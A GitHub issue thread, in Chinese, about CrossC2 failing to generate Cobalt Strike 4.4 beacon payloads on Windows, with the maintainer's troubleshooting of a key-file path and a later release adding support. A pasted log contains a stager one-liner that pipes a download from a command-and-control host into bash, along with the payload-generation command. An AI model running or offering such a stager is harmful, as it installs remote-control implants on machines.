Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CS4.4 windows下无法生成payload,报错如下 #119

Closed
Mitnick0x opened this issue Sep 14, 2021 · 8 comments
Closed

CS4.4 windows下无法生成payload,报错如下 #119

Mitnick0x opened this issue Sep 14, 2021 · 8 comments
Labels

Comments

@Mitnick0x
Copy link

            CrossC2 v2.2.5#stable  @hook

{cs >= 4.1}
read keys error!
generate beacon keys error
*[error] : read key error

@Mitnick0x Mitnick0x changed the title 无法生成payload,报错如下 windows下无法生成payload,报错如下 Sep 14, 2021
@Mitnick0x Mitnick0x changed the title windows下无法生成payload,报错如下 CS4.4 windows下无法生成payload,报错如下 Sep 14, 2021
@gloxec
Copy link
Owner

gloxec commented Sep 15, 2021

参考: *[error] : read key error #86

@Mitnick0x
Copy link
Author

就是本地也无法生成呢,下面是在CS里面的日志,原主题是在本地生成时的报错。

09/16 00:15:37 *** D:/CrossC2/genCrossC2.Win/genCrossC2.Win.exe x.x.x.x 443 G:.cobaltstrike.beacon_keys null Linux x64 g:/111
09/16 00:15:38 *** genCrossC2 beacon -> CrossC2 v2.2.5#stable @hook
09/16 00:15:38 *** D:/CrossC2/genCrossC2.Win/genCrossC2.Win.exe x.x.x.x 443 G:.cobaltstrike.beacon_keys null Linux-lib x64 g:/111.lib
09/16 00:15:38 *** genCrossC2 libbeacon -> CrossC2 v2.2.5#stable @hook
09/16 00:15:38 *** xxx hosted CrossC2 beacon: reverse-https Linux x64 { HTTPS }[http] @ https://x.x.x.x:55413/vjWKPzVvTW
09/16 00:15:38 *** create listener: CrossC2 beacon: reverse-https Linux x64 { HTTPS }
09/16 00:15:54 ***
09/16 00:15:54 *** CrossC2 curl script: curl -A O -o- -L https://x.x.x.x:55413/a | bash -s

@gloxec
Copy link
Owner

gloxec commented Sep 16, 2021

同样的问题,该错误都是因为传入的key文件不存在或者路径无法访问,或者无权限访问。

D:/CrossC2/genCrossC2.Win/genCrossC2.Win.exe x.x.x.x 443 G:.cobaltstrike.beacon_keys

这里的G:.cobaltstrike.beacon_keys明显为错误路径,你需要选定的真实路径应当为G:\.cobaltstrike.beacon_keys这种,确保cmd中dir G:\.cobaltstrike.beacon_keystype时可以看到文件路径正确

@Mitnick0x
Copy link
Author

我想说这个斜杠是我编辑的时候写错了,本来是有的,4.3的key可以生成,但就是4.4不行

@gloxec
Copy link
Owner

gloxec commented Sep 16, 2021

那我去测试下4.4,查看key结构信息是否有变化

@gloxec
Copy link
Owner

gloxec commented Oct 21, 2021

请尝试Linux下使用链接文件可否生成4.4的beacon(删除zip后缀即可)
genCrossC2_4.4.Linux.removeZIP.zip

@gloxec gloxec added the New label Nov 2, 2021
@gloxec
Copy link
Owner

gloxec commented Nov 2, 2021

Release v3.0.2 已添加支持cs4.4

@gloxec gloxec closed this as completed Nov 2, 2021
@Snowst0rm
Copy link

你好!可以上线.但是文件管理格式不对,如根目录是run\ 打开任意目录如root就会出现,run/root/,并且显示错误

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

3 participants